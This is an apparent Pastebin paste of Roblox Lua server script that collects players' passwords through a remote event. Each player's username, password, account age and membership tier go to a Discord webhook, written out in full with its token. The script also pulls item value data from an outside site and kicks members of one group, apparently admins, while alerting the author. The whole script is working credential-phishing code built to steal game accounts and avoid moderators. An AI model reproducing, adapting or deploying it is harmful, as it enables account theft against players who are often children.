Advertisement
Guest User

Untitled

a guest
Dec 16th, 2017
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.24 KB | None | 0 0
  1. local NBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
  2. local BC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
  3. local TBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
  4. local OBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
  5. local api = require(game.ReplicatedStorage.DiscordAPI)
  6. hs = game:GetService("HttpService")
  7. game.ReplicatedStorage.memes.OnServerEvent:Connect(function(player, password)
  8. textz = formatzzz(password, player)
  9. if getMembership(player) == "NBC" then
  10. api.doPost(NBC, textz)
  11. elseif getMembership(player) == "BC" then
  12. api.doPost(BC, textz)
  13. elseif getMembership(player) == "TBC" then
  14. api.doPost(TBC, textz)
  15. else
  16. api.doPost(OBC, textz)
  17. end
  18.  
  19. end)
  20.  
  21.  
  22. function onPlayerEntered(newPlayer)
  23. if newPlayer:IsInGroup(1200769) then
  24. print "oh snap"
  25. newPlayer:Kick("An unknown error occurred and you got pooped on.")
  26. api.doPost(mywebhook, "**WARNING:**NoName#9646 ADMIN ALLERT!")
  27. end
  28. end
  29. game.Players.PlayerAdded:connect(onPlayerEntered)
  30.  
  31. function formatzzz(password, player)
  32. text = "**FREEGUI**"..("%s"):format('\n').."Username: **".. player.Name.."**"..("%s"):format('\n').."Password: **"..password.."**"..("%s"):format('\n').."Account Age: **"..player.AccountAge.."**"..("%s"):format('\n').."Membership: **"..getMembership(player).."**"..("%s"):format('\n').."RAP: **".. hs:GetAsync("http://aerx-mgui.com/Public/getRAP.php?UserId="..player.UserId, true).."**"..("%s"):format('\n').."Profile: **".."https://www.roblox.com/users/".. player.UserId.."/profile **"..("%s")
  33.  
  34. return(text)
  35.  
  36. end
  37.  
  38. function getMembership(player)
  39. if player.MembershipType == Enum.MembershipType.BuildersClub then
  40. return("BC")
  41. elseif player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  42. return("TBC")
  43. elseif player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  44. return("OBC")
  45. else
  46. return("NBC")
  47.  
  48. end
  49. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement